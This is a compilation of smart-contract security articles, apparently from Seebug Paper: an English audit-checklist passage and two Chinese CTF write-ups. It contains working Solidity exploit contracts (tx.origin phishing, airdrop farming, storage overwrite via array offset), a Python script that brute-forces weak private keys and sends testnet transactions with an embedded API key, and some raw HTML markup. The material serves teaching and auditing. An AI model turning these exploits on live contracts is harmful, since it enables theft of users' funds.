The fallback will be called when there is a problem with the execution of the contract (if there is no matching function). When the send or transfer function is called, only 2300 gas is used to execute the fallback function after the failure. The 2300 gas only allows a set of bytecode instructions to be executed and needs to be carefully written to avoid the use of gas.

Some examples:

function() payable { LogDepositReceived(msg.sender); }

function() public payable{ revert();};

(8) Owner permission issue

Avoiding the owner permission is too large.

For contract owner permissions that are too large, the owner can freely modify various data in the contract, including modification rules, arbitrary transfer, and any coinage. Once a safety issue occurs, it may lead to serious results.

Regarding the owner permission issue, several requirements should be followed:

  1. After the contract is created, no one can change the contract rules, including the size of the rule parameters.
  2. Only the owner is allowed to withdraw the balance from the contract

(9) User authentication issue

Don't use tx.origin for authentication in the contract.

Tx.origin represents the initial address. If user a invokes contract c through contract b, for contract c, tx.origin is user a, and msg.sender is contract b. This represents a possible phishing attack, which is extremely dangerous for authentication.

Here's an example:

pragma solidity &gt;0.4.24;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    constructor() public {
        owner = msg.sender;
    }

    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

We can construct an attack contract:

pragma solidity &gt;0.4.24;

interface TxUserWallet {
    function transferTo(address dest, uint amount) external;
}

contract TxAttackWallet {
    address owner;

    constructor() public {
        owner = msg.sender;
    }

    function() external {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

When the user is spoofed and invokes the attack contract, it will bypass the authentication directly and transfer the account successfully. Here you should use msg.sender to do permission judgment.

https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

(10) Race condition issue

Try to avoid relying on the order of transactions in the contract.

In smart contracts, there is often a reliance on the order of transactions. Such as the rule of occupying a hill to act as a lord or the last winner rule. These are rules that are designed because of the strong dependence on the order of transactions. But the bottom rule of Ethernet is based on the law of maximum interests of miners. Within a certain degree of limit, as long as the attackers pay enough costs, he can control the order of the transactions to a certain extent. Developers should avoid this problem.

Real world event

Fomo3D Incident

(11) Uninitialized storage pointer

Avoiding initializing struct variables in functions.

A special data structure is allowed to be a struct structure in solidity, and local variables in the function are stored by default using storage or memory.

Storage and memory are two different concepts. Solidity allows pointers to point to an uninitialized reference, and uninitialized local storage causes variables to point to other stored variables. This can lead to variable coverage and even more serious consequences.

pragma solidity ^0.4.0;

contract Test {

        address public owner;
        address public a;

        struct Seed {
                address x;
                uint256 y;
        }

        function Test() {
                owner = msg.sender;
                a = 0x1111111111111111111111111111111111111111;
        }

        function fake_foo(uint256 n) public {
                Seed s;
                s.x = msg.sender;
                s.y = n;
        }
}

After the above code is compiled, s.x and s.y will point incorrectly to owner and a.

After the attacker executes fake_foo, the owner will be changed to himself.

The above issue was fixed in the latest version of 0.4.25.

CheckList audit reports

REF


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/754/

原文阅读

LCTF2018 ggbank 薅羊毛实战
Elfinx 2018-11-21 6:19 转存
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月20日
11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank,题目的原意是考察弱随机数问题,但在题目的设定上挺有意思的,加入了一个对地址的验证,导致弱随机的难度高了许多,反倒是薅羊毛更快乐了,下面就借这个题聊聊关于薅羊毛的实战操作。

分析

源代码
https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code

首先我们照例来分析一下源代码

和之前我出的题风格一致,首先是发行了一种token,然后基于token的挑战代码,主要有几个点

modifier authenticate { //修饰器,在authenticate关键字做修饰器时,会执行该函数
    require(checkfriend(msg.sender));_; // 对来源做checkfriend判断
}

跟着看checkfriend函数

function checkfriend(address _addr) internal pure returns (bool success) {
    bytes20 addr = bytes20(_addr);
    bytes20 id = hex"000000000000000000000000000000000007d7ec";
    bytes20 gg = hex"00000000000000000000000000000000000fffff";

    for (uint256 i = 0; i &lt; 34; i++) { //逐渐对比最后5位
        if (addr &amp; gg == id) { // 当地址中包含7d7ec时可以继续
            return true;
        }
        gg &lt;&lt;= 4;
        id &lt;&lt;= 4;
    }

    return false;
}

checkfriend就是整个挑战最大的难点,也大幅度影响了思考的方向,这个稍后再谈。

function getAirdrop() public authenticate returns (bool success){
         if (!initialized[msg.sender]) { //空投
            initialized[msg.sender] = true;
            balances[msg.sender] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }

空投函数没看有什么太可说的,就是对每一个新用户都发一次空投。

然后就是goodluck函数

function goodluck()  public payable authenticate returns (bool success) {
    require(!locknumber[block.number]); //判断block.numbrt
    require(balances[msg.sender]&gt;=100); //余额大于100
    balances[msg.sender]-=100; //每次调用要花费100token
    uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数
    if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断
        balances[msg.sender]+=20000;
        _totalSupply +=20000;
        locknumber[block.number] = true;
    }
    return true;
}

然后只要余额大于200000就可以拿到flag。

其实代码特别简单,漏洞也不难,就是非常常见的弱随机数问题。

随机数的生成方式为

uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;

另一个的生成方式为

uint(keccak256(abi.encodePacked(msg.sender))) % 100

其实非常简单,这两个数字都是已知的,msg.sender可以直接控制已知的地址,那么左值就是已知的,剩下的就是要等待一个右值出现,由于block.number是自增的,我们可以通过提前计算出一个block.number,然后写脚本监控这个值出现,提前开始发起交易抢打包,就ok了。具体我就不详细提了。可以看看出题人的wp。

https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank

但问题就在于,这种操作要等block.number出现,而且还要抢打包,毕竟还是不稳定的。所以在做题的时候我们关注到另一条路,薅羊毛,这里重点说说这个。

合约薅羊毛

在想到原来的思路过于复杂之后,我就顺理成章的想到薅羊毛这条路,然后第一反正就是直接通过合约建合约的方式来碰这个概率。

思路来自于最早发现的薅羊毛合约https://paper.seebug.org/646/

这个合约有几个很精巧的点。

首先我们需要有基本的概念,在以太坊上发起交易是需要支付gas的,如果我们不通过合约来交易,那么这笔gas就必须先转账过去eth,然后再发起交易,整个过程困难了好几倍不止。

然后就有了新的问题,在合约中新建合约在EVM中,是属于高消费的操作之一,在以太坊中,每一次交易都会打包进一个区块中,而每一个区块都有gas消费的上限,如果超过了上限,就会爆gas out,然后交易回滚,交易就失败了。

contract attack{
    address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a;

    function checkfriend(address _addr) internal pure returns (bool success) {
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000007d7ec";
        bytes20 gg = hex"00000000000000000000000000000000000fffff";

        for (uint256 i = 0; i &lt; 34; i++) {
            if (addr &amp; gg == id) {
                return true;
            }
            gg &lt;&lt;= 4;
            id &lt;&lt;= 4;
        }

        return false;
    }


    function attack(){
        // getairdrop

        if(checkfriend(address(this))){
            target.call(bytes4(keccak256('getAirdrop()')));
            target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000);
        }
    }
}

contract doit{

    function doit() payable {

    }
     function attack_starta() public {
        for(int i=0;i&lt;=50;i++){
            new attack();
        }
    }

    function () payable {
    }

}

上述的poc中,有一个很特别的点就是我加入了checkfriend的判断,因为我发现循环中如果新建合约的函数调用revert会导致整个交易报错,所以我干脆把整个判断放上来,在判断后再发起交易。

可问题来了,我尝试跑了几波之后发现完全不行,我忽略了一个问题。

让我们回到checkfriend

function checkfriend(address _addr) internal pure returns (bool success) {
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000007d7ec";
        bytes20 gg = hex"00000000000000000000000000000000000fffff";

        for (uint256 i = 0; i &lt; 34; i++) {
            if (addr &amp; gg == id) {
                return true;
            }
            gg &lt;&lt;= 4;
            id &lt;&lt;= 4;
        }

        return false;
    }

checkfriend只接受地址中带有7d7ec的地址交易,光是这几个字母出现的概率就只有1/36*1/36*1/36*1/36*1/36这个几率在每次随机生成50个合约上计算的话,概率就太小了。

必须要找新的办法来解决才行。

python脚本解决方案

既然在合约上没办法,那么我直接换用python写脚本来解决。

这个挑战最大的问题就在于checkfriend这里,那么我们直接换一种思路,如果我们去爆破私钥去恢复地址,是不是更有效一点儿?

其实爆破的方式非常多,但有的恢复特别慢,也不知道瓶颈在哪,在换了几种方式之后呢,我终于找到了一个特别快的恢复方式。

from ethereum.utils import privtoaddr, encode_hex

for i in range(1000000,100000000):
        private_key = "%064d" % i
        address = "0x" + encode_hex(privtoaddr(private_key))

我们拿到了地址之后就简单了,首先先转0.01eth给它,然后用私钥发起交易,获得空投、转账回来。

需要注意的是,转账之后需要先等到转账这个交易打包成功,之后才能继续下一步交易,需要多设置一步等待。

有个更快的方案是,先跑出200个地址,然后再批量转账,最后直接跑起来,不过想了一下感觉其实差不太多,因为整个脚本跑下来也就不到半小时,速度还是很可观的。

脚本如下

import ecdsa
import sha3
from binascii import hexlify, unhexlify
from ethereum.utils import privtoaddr, encode_hex
from web3 import Web3
import os
import traceback
import time

my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)

target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"

ggbank = [
    {
        "constant": True,
        "inputs": [],
        "name": "name",
        "outputs": [
            {
                "name": "",
                "type": "string"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "totalSupply",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "name": "balances",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "INITIAL_SUPPLY",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "decimals",
        "outputs": [
            {
                "name": "",
                "type": "uint8"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "_totalSupply",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "_airdropAmount",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [
            {
                "name": "owner",
                "type": "address"
            }
        ],
        "name": "balanceOf",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "owner",
        "outputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": True,
        "inputs": [],
        "name": "symbol",
        "outputs": [
            {
                "name": "",
                "type": "string"
            }
        ],
        "payable": False,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": False,
        "inputs": [
            {
                "name": "_to",
                "type": "address"
            },
            {
                "name": "_value",
                "type": "uint256"
            }
        ],
        "name": "transfer",
        "outputs": [
            {
                "name": "success",
                "type": "bool"
            }
        ],
        "payable": False,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": False,
        "inputs": [
            {
                "name": "b64email",
                "type": "string"
            }
        ],
        "name": "PayForFlag",
        "outputs": [
            {
                "name": "success",
                "type": "bool"
            }
        ],
        "payable": True,
        "stateMutability": "payable",
        "type": "function"
    },
    {
        "constant": False,
        "inputs": [],
        "name": "getAirdrop",
        "outputs": [
            {
                "name": "success",
                "type": "bool"
            }
        ],
        "payable": False,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": False,
        "inputs": [],
        "name": "goodluck",
        "outputs": [
            {
                "name": "success",
                "type": "bool"
            }
        ],
        "payable": True,
        "stateMutability": "payable",
        "type": "function"
    },
    {
        "inputs": [],
        "payable": False,
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "anonymous": False,
        "inputs": [
            {
                "indexed": False,
                "name": "b64email",
                "type": "string"
            },
            {
                "indexed": False,
                "name": "back",
                "type": "string"
            }
        ],
        "name": "GetFlag",
        "type": "event"
    }
]

mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C"
mytarget_private_key = 这是私钥


transaction_dict = {'chainId': 3,
                    'from':Web3.toChecksumAddress(mytarget),
                    'to':'', # empty address for deploying a new contract
                    'gasPrice':10000000000, 
                    'gas':200000,
                    'nonce': None,
                    'value':10000000000000000,
                    'data':""}


ggbank_ins = w3.eth.contract(abi=ggbank)
ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target))

nonce = 0

def transfer(address, private_key):
    print(address)
    global nonce
    # 发钱
    if not nonce:
        nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget))

    transaction_dict['nonce'] = nonce
    transaction_dict['to'] = Web3.toChecksumAddress(address)
    signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key)
    result = w3.eth.sendRawTransaction(signed.rawTransaction)

    nonce +=1

    while 1:
        if w3.eth.getBalance(Web3.toChecksumAddress(address)) &gt;0:
            break
        time.sleep(1)

    # 空投
    nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address))

    transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
    print(transaction2)
    signed2 = w3.eth.account.signTransaction(transaction2, private_key)

    result2 = w3.eth.sendRawTransaction(signed2.rawTransaction)

    # 转账
    nonce2+=1

    transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
    print(transaction3)

    signed3 = w3.eth.account.signTransaction(transaction3, private_key)

    result3 = w3.eth.sendRawTransaction(signed3.rawTransaction)



if __name__ == '__main__':

    j = 0
    for i in range(1000000,100000000):
        private_key = "%064d" % i
        # address = create_address(private_key)
        # print(address)
        # if "7d7ec" in address:
        #     print(address)

        address = "0x" + encode_hex(privtoaddr(private_key))

        if "7d7ec" in address:
            private_key = unhexlify(private_key)
            print(j)
            try:
                transfer(address, private_key)
            except:
                traceback.print_exc()
                print("error:"+str(j))
            j+=1

最终效果显著


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/747/

原文阅读

以太坊合约审计 CheckList 之变量覆盖问题
Elfinx 2018-11-16 9:18 转存
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月16日
系列文章:

2018年11月6日,DVP上线了一场“地球OL真实盗币游戏”,其中第二题是一道智能合约题目,题目中涉及到的了一个很有趣的问题,这里拿出来详细说说看。

https://etherscan.io/address/0x5170a14aa36245a8a9698f23444045bdc4522e0a#code

Writeup

pragma solidity ^0.4.21;
library SafeMath {
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
    }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b &lt;= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c &gt;= a);
    return c;
  }
}
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);

  function transferFrom(address from, address to, uint256 value) public returns (bool);

  function approve(address spender, uint256 value) public returns (bool);
  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

library SafeERC20 {
  function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
    require(token.transfer(to, value));
  }

  function safeTransferFrom(
    ERC20 token,
    address from,
    address to,
    uint256 value
  )
    internal
  {
    require(token.transferFrom(from, to, value));
  }

  function safeApprove(ERC20 token, address spender, uint256 value) internal {
    require(token.approve(spender, value));
  }
}

contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;

    constructor(address addr) payable{
        token = ERC20(addr);
    }

    function (){
        if(map.length&gt;=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }

        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length &lt;= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;  

        }
    }

    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))&gt;=1*(10**18));
        require(blockNum&gt;block.number);
        if(token.allowance(msg.sender,address(this))&gt;0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length &lt;= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }

    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number &gt; map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);

        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;

        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}

看着代码那么长,但其实核心代码就后面这点。

fallback函数

<span class="kd">function</span> <span class="p">(){</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span><span class="o">&gt;=</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)){</span>
        <span class="nx">require</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)]</span><span class="o">!=</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">token</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="k">this</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
        <span class="c1">//airdrop is over</span>
        <span class="nx">selfdestruct</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">);</span> <span class="c1">//如果token花完了,就会自动销毁自己发送余额</span>
    <span class="p">}</span><span class="k">else</span><span class="p">{</span>
        <span class="nx">token</span><span class="p">.</span><span class="nx">safeTransfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span> <span class="c1">// 否则就给你转100token</span>

        <span class="k">if</span> <span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))</span> <span class="p">{</span>
            <span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>  <span class="c1">// 通过做map变量偏移操作来使空投只发1次</span>
        <span class="p">}</span>
        <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>  
    <span class="p">}</span>
<span class="p">}</span>

简单来说就是每个地址只发一次空投,然后如果余额空投完了就会销毁自己转账。

guess函数

<span class="c1">//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)</span>
<span class="kd">function</span> <span class="nx">guess</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">x</span><span class="p">,</span><span class="nx">uint256</span> <span class="nx">blockNum</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">payable</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span> <span class="o">==</span> <span class="mf">0.001</span> <span class="nx">ether</span> <span class="o">||</span> <span class="nx">token</span><span class="p">.</span><span class="nx">allowance</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">))</span><span class="o">&gt;=</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">18</span><span class="p">));</span> <span class="c1">// guess要花费0.001 ether</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">blockNum</span><span class="o">&gt;</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">);</span> <span class="c1">// blockNum要大于当前block.number</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">token</span><span class="p">.</span><span class="nx">allowance</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">))</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">){</span>
        <span class="nx">token</span><span class="p">.</span><span class="nx">safeTransferFrom</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">),</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">18</span><span class="p">));</span>  <span class="c1">//转账</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]</span> <span class="o">=</span> <span class="nx">blockNum</span><span class="p">;</span>  <span class="c1">// 可以想向任意地址写入blockNum</span>
<span class="p">}</span>

lottery函数

<span class="kd">function</span> <span class="nx">lottery</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">x</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 目标地址必须有值</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span> <span class="o">&gt;</span> <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]);</span> <span class="c1">// 这点是和前面guess函数对应,必须在之后开奖</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">])</span><span class="o">!=</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 不能使中间的参数为当前块为0</span>

    <span class="nx">uint256</span> <span class="nx">answer</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">])))</span><span class="o">%</span><span class="mi">10000</span><span class="p">;</span> 
    <span class="c1">// 计算hash的后4位</span>

    <span class="k">if</span> <span class="p">(</span><span class="nx">x</span> <span class="o">==</span> <span class="nx">answer</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// 如果相等,则转账并销毁</span>
        <span class="nx">token</span><span class="p">.</span><span class="nx">safeTransfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">token</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">)));</span>
        <span class="nx">selfdestruct</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

其实回到题目本身来看,我们的目的是要拿走合约里的所有eth,在合约里,唯一仅有的转账办法就是selfdestruct,所以我们的目的就是想办法触发这个函数。

销毁函数只在fallback和lottery函数中存在,其实阅读一下不难发现,lottery不可能有任何操作,没办法溢出,没办法修改,除非运气逆天,否则不可能从lottery函数触发这个函数。

所以目光回到fallback函数,要满足转账,我们需要想办法让balanceOf返回0,如果我们想要通过薅羊毛的方式去解决的话简单测试就会明白这不可能,因为一次只能转100,余额如果我没记错的话,应该超过万亿以上。

很显然,想通过空投要薅羊毛来获得flag基本不太可能,所以我们的目标就是,如何影响到balanceOf的返回。

而balanceOf这个函数是来自于token变量的

constructor(address addr) payable{
    token = ERC20(addr);
}

而token变量是一个全局变量,在开始被定义

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    ...

在 EVM 中存储有三种方式,分别是 memory、storage 以及 stack

memory : 内存,生命周期仅为整个方法执行期间,函数调用后回收,因为仅保存临时变量,故GAS开销很小 storage : 永久储存在区块链中,由于会永久保存合约状态变量,故GAS开销也最大 stack : 存放部分局部值类型变量,几乎免费使用的内存,但有数量限制

而全局变量就是存在storage中的,合约中的全局变量有以下几个

ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;

而token就是第一个全局变量,则storage[0]就存了token变量

然后回到我们前面的需求,我们怎么才有可能覆盖storage的第一块数据呢,让我们再回到代码。guess中有这么一段代码。

map[uint256(msg.sender)+x] = blockNum;

在EVM中数组和其他类型不同,因为数组时动态大小的,所以数组类型的数据计算方式为

address(map_data) = sha(array_slot)+offset

其中array_slot就是map变量数据的位置,也就是1,offset就是数组中的偏移,比如map[2],offset就是2.

这样一来,map[2]的地址就是sha(1)+2,假设map[2]=2333,则storage[sha(1)+2]=2333

这样一来就出现问题了,由于offset我们可控,我们就可以向storage的任意地址写值。

再加上storage不是无限大的,它最多只有2**256那么大,sha(1)是固定的0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6。

也就是说我们设置x为2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,storage就会溢出,并覆盖token变量。

所以思路就比较清楚了,构造攻击合约,然后定义balanceOf返回0,调用fallback函数,然后返回即可。

利用合约大致如下

pragma solidity ^0.4.21;

contract dvp_attack {
    address public targetaddr;

    constructor(address addr) payable{
        targetaddr = addr;
    }

    function balanceOf(address addr) public returns(uint i){
        i = 0;
    }

    function attack(uint256 x,uint256 blockNum){
        // modity owner
        targetaddr.call(bytes4(keccak256("guess(uint256,uint256)",x,blockNum)));
        // fallback
        targetaddr.call(bytes4(keccak256("a")));
    }
}

在题目之后

在题目之后,我们不难发现,整个漏洞的成因与未初始化storage指针非常像,要明白这个漏洞,首先我们需要明白在EVM中对变长变量的定义和储存方式。

array

uint256[] map;

map就是一个uint类型的数组,在storage中,map变量的储存地址计算公式如下

address(map_data) = sha3(slot)+offset

刚才说到array_slot就是数组变量在全局变量中声明的位置,比如map是第二个全局变量

map[2] = 22333
==&gt;
address(map_data) = sha3(1)+2
==&gt;
storage[sha3(1)+2] = 22333

mapping

mapping (address =&gt; uint) balances;

balances是一个键为address类型,值为uint型的mapping字典,在storage中,balances变量的储存地址计算公式如下

address(balances_data) = sha3(key, slot)

其中key就是mapping类型中的键名,slot就是balances变量在全局变量中声明的位置,比如balances是第一个全局变量:

balances[0xaaa] = 22333 //0xaaa为address
==&gt;
address(balances_data) = sha3(0xaaa,0)
==&gt;
storage[sha3(0xaaa,0)] = 22333

mapping + struct

struct Person {
        address[] addr;
